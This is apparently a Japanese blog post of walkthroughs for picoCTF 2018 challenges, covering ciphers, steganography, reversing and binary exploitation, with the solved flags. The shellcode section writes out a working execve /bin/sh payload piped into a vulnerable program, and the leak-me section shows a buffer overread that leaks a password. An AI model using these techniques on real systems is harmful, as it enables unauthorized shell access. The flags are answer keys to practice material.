$ nc 2018shell.picoctf.com 59771 Let's decode this now! Cja dsvfm ibqxw yqo rslng qpab cja uhze kqt. V fhw'c iauvapa cjvg vg gsfj hw ahge nbqiual vw Nvfq. Vc'g hulqgc hg vy V gqupak h nbqiual hubahke! Qmhe, yvwa. Jaba'g cja yuht: nvfqFCY{gsigcvcscvqw_fvnjabg_hba_cqq_ahge_geiajvfvbi}
hertz 1 は 単一換字暗号 だったのですが、今回もかな?とりあえず力技。最後の行がフラグっぽいのでここを頼りに。
yuht: nvfqFCY -> flag: picoCTF
と仮定。あとは単語を埋めながら。変換表は下記のようになりました。※変換前の文を全部小文字、変換後を大文字としています。
a -> E b -> R c -> T d -> Q e -> Y f -> C g -> S h -> A i -> B j -> H k -> D l -> M m -> K n -> p o -> X p -> V q -> O r -> J s -> U t -> G u -> L v -> I w -> N x -> W y -> F z -> Z
全部変換し終えるとこんな文が。
THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG. I CAN'T BELIEVE THIS IS SUCH AN EASY PROBLEM IN PICO. IT'S ALMOST AS IF I SOLVED A PROBLEM ALREADY! OKAY, FINE. HERE'S THE FLAG: PICOCTF{SUBSTITUTION_CIPHERS_ARE_TOO_EASY_SYBEHICIRB}
※ flag部分はもとの大文字小文字に従って大文字小文字変換してやります。
最初の文はwikipediaにも載っていました。
英語のパングラムの一つであり、タイプライターやコンピュータのキーボードの試験などによく用いられる。quick brown fox(クイック・ブラウン・フォックス)と略して呼称することが多い。パングラムとは、ラテン文字のアルファベット26字をすべて用い、かつ重複をなるべく少なくした短文のこと。
フォントのサンプルにもよく用いられるらしいです。暗号文にはぴったり!
[Binary] leak-me (200pt)
Can you authenticate to this service and get the flag? Connect with nc 2018shell.picoctf.com 31045. Source.
Sourceはこちら。 auth.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> int flag() { char flag[48]; FILE *file; file = fopen("flag.txt", "r"); if (file == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(flag, sizeof(flag), file); printf("%s", flag); return 0; } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid gid_t gid = getegid(); setresgid(gid, gid, gid); // real pw: FILE *file; char password[64]; char name[256]; char password_input[64]; memset(password, 0, sizeof(password)); memset(name, 0, sizeof(name)); memset(password_input, 0, sizeof(password_input)); printf("What is your name?\n"); fgets(name, sizeof(name), stdin); char *end = strchr(name, '\n'); if (end != NULL) { *end = '\x00'; } strcat(name, ",\nPlease Enter the Password."); file = fopen("password.txt", "r"); if (file == NULL) { printf("Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(password, sizeof(password), file); printf("Hello "); puts(name); fgets(password_input, sizeof(password_input), stdin); password_input[sizeof(password_input)] = '\x00'; if (!strcmp(password_input, password)) { flag(); } else { printf("Incorrect Password!\n"); } return 0; }
まずはあたって砕けてみます。このパターンだと、配布されたコードとバイナリが、指定されたホストのサーバーで可動していて、コードとバイナリを解析した攻撃をサーバーにかますとflagが取れるはず。
雰囲気掴むために突撃してみる。
$ nc 2018shell.picoctf.com 31045 What is your name? admin Hello admin, Please Enter the Password. admin Incorrect Password!
username と password を聞かれるらしい。authだからそれはそうか。
cのコードを眺めてみる。
また buffer overflow の脆弱性がありそう。入力値の name
と password_input
が怪しい。
最終的に、パスワードが途中でファイル(password.txt)から読み込んでいる文字列と一致したらflagが出力される様子。
パスワードファイルの読み込みが不自然なところに書かれているのが気になる。また、おそらくパスワードファイルの中身がどこかで取得できる気がするのだけども、攻撃対象になりそうな出力は
puts(name)
の部分。ちゃんと解析してやったほうが良さそうだが、なんとなく name の input でオーバーフローさせると password が出力され、 その password を使ってログインすると良いんじゃない?と推測。
$ nc 2018shell.picoctf.com 31045 What is your name?a aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa,a_reAllY_s3cuRe_p4s$word_d98e8d Incorrect Password!
なんかover flowしたっぽいぞ!
$ nc 2018shell.picoctf.com 31045 What is your name? test Hello test, Please Enter the Password. a_reAllY_s3cuRe_p4s$word_d98e8d picoCTF{aLw4y5_Ch3cK_tHe_bUfF3r_s1z3_d1667872}
ちゃんと解けるようになるには、アドレスとか調べてやったほうが良さそうなので、あとで復習する。
[Forensics] now you don't (200pt)
We heard that there is something hidden in this picture. Can you find it?
pngファイルが落ちてきた。
$ file nowYouDont.png nowYouDont.png: PNG image data, 857 x 703, 8-bit/color RGBA, non-interlaced
のっぺりした写真の場合、histgramを取ると外れ値だったりなにか法則が見える可能性がある。
それかな?と当たりをつけ、histgramを取得するプログラムを組む。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from PIL import Image from pprint import pprint filename = 'nowYouDont.png' img = Image.open(filename) width, height = img.size histgram = {} for i in range(256): histgram[i] = 0 for h in range(height): for w in range(width): histgram[img.getpixel((w,h))[0]] += 1 pprint(histgram)
実行結果
$ python histgram.py {0: 0, 1: 0, 2: 0, ~~中略~~ 142: 0, 143: 0, 144: 0, 145: 595164, 146: 7307, 147: 0, 148: 0, 149: 0, ~~中略~~ 253: 0, 254: 0, 255: 0}
ということで、R,G,B カラーパレットの中の先頭一つ(多分R)の値だけhistgramを取ったが、殆どは145に集中していて一部146にもいる。
この146の部分を人間の目にもわかるように強調してやると、何かしら絵が浮き出てくるかも!二値しかない時点で怪しい。可能性は高そう。
ということで、上記のプログラムに少し手を入れて、2値化の効果がよく分かるような絵を出力させます。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- from PIL import Image from pprint import pprint filename = 'nowYouDont.png' img = Image.open(filename) width, height = img.size img2 = Image.new('RGB', (width, height)) histgram = {} for i in range(256): histgram[i] = 0 for h in range(height): for w in range(width): histgram[img.getpixel((w,h))[0]] += 1 if img.getpixel((w,h))[0] == 146: img2.putpixel((w,h),(255,255,255)) pprint(histgram) img2.show()
img2にバッチリflagが出てきました!
[Reversing] quackme (200pt)
Can you deal with the Duck Web? Get us the flag from this program. You can also find the program in /problems/quackme_2_45804bbb593f90c3b4cefabe60c1c4e2.
落としてきた main
という名前のファイル、バイナリっぽかったので中身を調査。
$ file main main: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=c0dcb45467941fe620fc135fdf1ba72ecfbc4723, not stripped
実行ファイルですね。
まずは shell server 上で実行してみます。
$ ./main You have now entered the Duck Web, and you're in for a honkin' good time. Can you figure out my trick? test That's all folks.
今までのようにソースが提供されていないので、バイナリから解読するしかない。ヒントを見てみても
Objdump or something similar is probably a good place to start.
ということで objdump とかしてみたら?ということらしい。
また、Hopper つかいます。 今回はとりあえず読んでみよう、くらいなので、このツールでもなんとか。
まずはmain
関数から追ってみます。mainのなかで、do_magic
という関数を呼び出しています。更に、このdo_magic
の中で、入力値の読み込みと、 "You are winner!"
という文字列の出力を行っているようです。
もう少し詳しく見ていきます。すごく横長ですが、Hopperで見られる情報で、do_magic 関数の中の You are winner
(080486f8) 近辺です。該当箇所のHopperのUIも参考の為載せておきます。割と見やすいです。
loc_80486bd: 080486bd mov eax, dword [ebp+var_18] ; CODE XREF=do_magic+207 080486c0 add eax, sekrutBuffer 080486c5 movzx ecx, byte [eax] 080486c8 mov edx, dword [ebp+var_18] 080486cb mov eax, dword [ebp+var_14] 080486ce add eax, edx 080486d0 movzx eax, byte [eax] 080486d3 xor eax, ecx 080486d5 mov byte [ebp+var_1D], al 080486d8 mov edx, dword [greetingMessage] ; greetingMessage 080486de mov eax, dword [ebp+var_18] 080486e1 add eax, edx 080486e3 movzx eax, byte [eax] 080486e6 cmp al, byte [ebp+var_1D] 080486e9 jne loc_80486ef 080486eb add dword [ebp+var_1C], 0x1 loc_80486ef: 080486ef cmp dword [ebp+var_1C], 0x19 ; CODE XREF=do_magic+167 080486f3 jne loc_8048707 080486f5 sub esp, 0xc 080486f8 push aYouAreWinner ; argument "__s" for method j_puts, "You are winner!" 080486fd call j_puts ; puts 08048702 add esp, 0x10 08048705 jmp loc_8048713 loc_8048707: 08048707 add dword [ebp+var_18], 0x1 ; CODE XREF=do_magic+177 loc_804870b: 0804870b mov eax, dword [ebp+var_18] ; CODE XREF=do_magic+121 0804870e cmp eax, dword [ebp+var_10] 08048711 jl loc_80486bd loc_8048713: 08048713 leave ; CODE XREF=do_magic+195 08048714 ret ; endp
この中でで有力な情報としては、何かのXORを取っているらしい(080486d3)。そしてループしているらしい(08048711)。ということ。
XORを取っているのは、xor eax, ecx
。ecx には sekrutBuffer の値が入っていて、eax には input が入っている様子。これを、一文字ずつ XOR 取っていき、 greetingMessage の文字と比較している。
greetingMessage
は You have now entered the Duck Web, and you're in for a honkin' good time....(続く)
sekrutBuffer
は下記の通り。
sekrutBuffer: 08048858 db 0x29 ; ')' ; DATA XREF=do_magic+126 08048859 db 0x06 ; '.' 0804885a db 0x16 ; '.' 0804885b db 0x4f ; 'O' 0804885c db 0x2b ; '+' 0804885d db 0x35 ; '5' 0804885e db 0x30 ; '0' 0804885f db 0x1e ; '.' 08048860 db 0x51 ; 'Q' 08048861 db 0x1b ; '.' 08048862 db 0x5b ; '[' 08048863 db 0x14 ; '.' 08048864 db 0x4b ; 'K' 08048865 db 0x08 ; '.' 08048866 db 0x5d ; ']' 08048867 db 0x2b ; '+' 08048868 db 0x56 ; 'V' 08048869 db 0x47 ; 'G' 0804886a db 0x57 ; 'W' 0804886b db 0x50 ; 'P' 0804886c db 0x16 ; '.' 0804886d db 0x4d ; 'M' 0804886e db 0x51 ; 'Q' 0804886f db 0x51 ; 'Q' 08048870 db 0x5d ; ']' 08048871 db 0x00 ; '.'
さらに、ループ処理に注目。
~~hogehoge~~ 080486e9 jne loc_80486ef 080486eb add dword [ebp+var_1C], 0x1 loc_80486ef: 080486ef cmp dword [ebp+var_1C], 0x19 ; CODE XREF=do_magic+167 080486f3 jne loc_8048707
この部分で、080486e9
より前の比較(hogehoge)で条件に合わなければ [ebp+var_1C] に 1 を足し、hogehogeの条件を満たせば、 [ebp+var_1C] と 0x19(すなわち25) を比較して、一致すればのぞみの You are winner を表示てくれる。ということは、[ebp+var_1C] はカウンタの役割を果たしており、XORの比較が25まで進めばOKのよう。25は sekrutBuffer の文字数とも合う。
sekrutBuffer XOR input == greetingMessage
を満たすinputを求めれば良い。A XOR B = C
の場合、 A XOR C = B
なので、 sekrutBuffer と greetingMessage の XOR を取ってやる。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- greetingMsg = "You have now entered the Duck Web, and you're in for a honkin' good time." sekrutBuffer = bytes.fromhex('2906164f2b35301e511b5b144b085d2b56475750164d51515d').decode('utf-8') inputMsg = '' for i in range(len(sekrutBuffer)): inputMsg += chr(ord(sekrutBuffer[i]) ^ ord(greetingMsg[i])) print(inputMsg)
実行結果
$ python solve.py picoCTF{qu4ckm3_35246994}
念の為 main の実行時に flag を入力してみると、ちゃんと You are winner!
が表示されました。
$ ./main You have now entered the Duck Web, and you're in for a honkin' good time. Can you figure out my trick? picoCTF{qu4ckm3_35246994} You are winner! That's all folks.
[Binary] shellcode (200pt)
This program executes any input you give it. Can you get a shell? You can find the program in /problems/shellcode_0_48532ce5a1829a772b64e4da6fa58eed on the shell server. Source.
与えられたソースコード
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> #define BUFSIZE 148 #define FLAGSIZE 128 void vuln(char *buf){ gets(buf); puts(buf); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); char buf[BUFSIZE]; puts("Enter a string!"); vuln(buf); puts("Thanks! Executing now..."); ((void (*)())buf)(); return 0; }
与えられた実行ファイル(program)
$ file vuln vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=fdba7cd36e043609da623c330a501f920470b49a, not stripped
実行してみます。
$ ./vuln Enter a string! test test Thanks! Executing now... Segmentation fault (core dumped)
test
と入れただけで Secmentation fault してしまった。
ReversingとBinaryは、迷わずHintを見ます。
Maybe try writing some shellcode? You also might be able to find some good shellcode online.
???
わからないのでググります。
シェルコード(英: Shellcode)とは、コンピュータセキュリティにおいて、ソフトウェアのセキュリティホールを利用するペイロードとして使われるコード断片である。侵入したマシンを攻撃者が制御できるようにするため、シェルを起動することが多いことから「シェルコード」と呼ぶ。シェルコードは機械語で書かれることが多いが、機械語でなくとも同様のタスクを実行できるコード断片はシェルコードと呼ばれる。
ほうほう!しかも
(*(void(*)()) shellcode)()
こういう書き方は、shellcodeの呼び出しに使われるらしい。
ということは、入力時に「隣の flag.txt を出力するようなshellcode」を入力できれば良さそう!
ただの linux command だと、cat flag.txt
とかなんだけど。ここはヒントの通り、フィルを出力させるようなshellcodeがweb上に落ちているっぽいので探してみます。
shellcode cat
と google検索かけようとしたら、候補に shellcode cat flag.txt
が出てくるという…。shellcode cat file -picoCTF
とかだとネタバレもなくて良さげ。
こんなページが。
Shellcodes database for study cases
Although these kinds of shellcode presented on this page are rarely used for real exploitations, this page lists some of them for study cases and proposes an API to search specific ones. Thanks all for your contributions of this database but we stopped to accept shellcodes. To learn modern exploitation, checkout how to the Return Oriented Programming works.
ということで、悪用禁止の学習用のシェルコードデータベース検索サイトのようです。
今回はLinx向けの /bin/sh 関連の shellcode が探したかったので、APIは使わず、トップページから /bin/sh
で引っかかった Linx/x86 系のcodeサンプルを覗いてみました。
たくさんあってよくわからないので、もう少し調べてみます。
Linux x86用のシェルコードを書いてみる - ももいろテクノロジー
ももいろテクノロジーさんにも shellcode 系の記事がいくつか上がっていましたが、
一般に、シェルを起動するにはexecve(2)システムコールを使う
だそうです。
これを胸に、再度探したところ、Linux/x86 - execve /bin/sh - 21 bytes by ipv
この辺のshellcodeがシンプルそうだったので使ってみます。
shellcodeを使用する際は、こんな感じの呼び出し方。
$ (echo -en "{shellcode}"; cat) | ./vuln
- ※ cat は shell をオープンしておくため
- ※ echoのoption -e は 改行を表示
$ (echo -e "\x6a\x0b\x58\x99\x52 \x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"; cat) | ./vuln Enter a string! j XRh//shh/bin1̀ Thanks! Executing now... cat flag.txt picoCTF{shellc0de_w00h00_9ee0edd0}
おお!無事フラグが出力されました。また新しい世界を見た。
[General] what base is this? (200pt)
To be successful on your mission, you must be able read data represented in different ways, such as hexadecimal or binary. Can you get the flag from this program to prove you are ready? Connect with nc 2018shell.picoctf.com 1225.
指定のホストに接続。問題文を読む限り、いろんな形式 (hexやbinary) の文字列が降ってくるのかな。
$ nc 2018shell.picoctf.com 1225 We are going to start at the very beginning and make sure you understand how data is stored. robot Please give me the 01110010 01101111 01100010 01101111 01110100 as a word. To make things interesting, you have 30 seconds. Input:
まずは2進数をasciiコードに。30秒では無理だったが、この辺のサイトで検索しながら解読。
10進16進2進ASCIIコード表 - 【はてな】ガットポンポコ
robot、が答え。あれ、なんか問題文に書いてあったぞ。
ちなみに、再度接続すると問題が変わっているので、プログラムしたほうが良さそう。
これをクリアすると、次の問題は
Please give me the 6170706c65 as a word. Input:
どうやら hex -> ascii っぽい。
こちらもプログラムに組んで、クリアすると、次の問題は
Please give me the 141 160 160 154 145 as a word. Input:
これは10進数か8進数 -> ascii っぽい。8進数と仮定すると apple
の単語になったのでこのまま続行。
これもクリアするとFlagが降ってくる。
こんなプログラム書きました。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import binascii def hex2ascii(hex_str): return bytes.fromhex(hex_str).decode('utf-8') def bin2ascii(bin_str): n = int(bin_str, 2) return n.to_bytes((n.bit_length() + 7) // 8, 'big').decode() def oct2ascii(oct_str): return chr(int(oct_str, 8)) def int2ascii(int_str): return chr(int(int_str)) while True: str_format = input('please input format. {bin|hex|oct}\n') str_list = input('please input char list.\n') str_arr = str_list.split() output = "" for s in str_arr: if str_format == 'bin': output += bin2ascii(s) elif str_format == 'hex': output += hex2ascii(s) elif str_format == 'oct': output += oct2ascii(s) else: print('unknown format.') break print(output)
サーバーとのやり取り
$ nc 2018shell.picoctf.com 1225 We are going to start at the very beginning and make sure you understand how data is stored. wichita Please give me the 01110111 01101001 01100011 01101000 01101001 01110100 01100001 as a word. To make things interesting, you have 30 seconds. Input: wichita Please give me the 70686f6e65 as a word. Input: phone Please give me the 164 157 170 151 143 as a word. Input: toxic You got it! You're super quick! Flag: picoCTF{delusions_about_finding_values_451a9a74}
プログラム実行結果
$ python solve.py please input format. {bin|hex|oct} bin please input char list. 01110111 01101001 01100011 01101000 01101001 01110100 01100001 wichita please input format. {bin|hex|oct} hex please input char list. 70686f6e65 phone please input format. {bin|hex|oct} oct please input char list. 164 157 170 151 143 toxic please input format. {bin|hex|oct}
まぁ全部自動で動くようにすればよかったんですけどね。ちょっと面倒で。。。
[General] you can't see me (200pt)
'...reading transmission... Y.O.U. .C.A.N.'.T. .S.E.E. .M.E. ...transmission ended...' Maybe something lies in /problems/you-can-t-see-me_4_8bd1412e56df49a3c3757ebeb7ead77f.
直訳すると、"...通信読み込み... あなたには私が見えない ...通信終了..." 指定pathに多分何かある。
ということで、指定されたpathに picoCTF の shell server で行ってみた。
$ cd /problems/you-can-t-see-me_4_8bd1412e56df49a3c3757ebeb7ead77f $ $ ls -alF total 60 drwxr-xr-x 2 root root 4096 Nov 15 02:40 ./ -rw-rw-r-- 1 hacksports hacksports 57 Nov 15 02:40 . drwxr-x--x 566 root root 53248 Nov 15 04:28 ../
ほーん?なんか二番目のやつ、怪しいですね。からのディレクトリなら、普通はrootの ./
と ../
しかないはず。 .
というファイル名のファイルが存在してるっぽい。
普通に less
や cat
で見ようとしても、directoryだと怒られてしまいます。
$ less . . is a directory
もしやこのファイル名、 .
ではなく .
や .
なのでは?ということで、ドットのあとにスペースが付いている可能性を考慮し、
$ less .* . is a directory .\ \ (press RETURN) picoCTF{j0hn_c3na_paparapaaaaaaa_paparapaaaaaa_22f627d9} .\ \ (file 1 of 2) (END) - Next: ..
おー、でた。正解は .\ \
、すなわち ドットスペーススペース、というファイル名だった様子。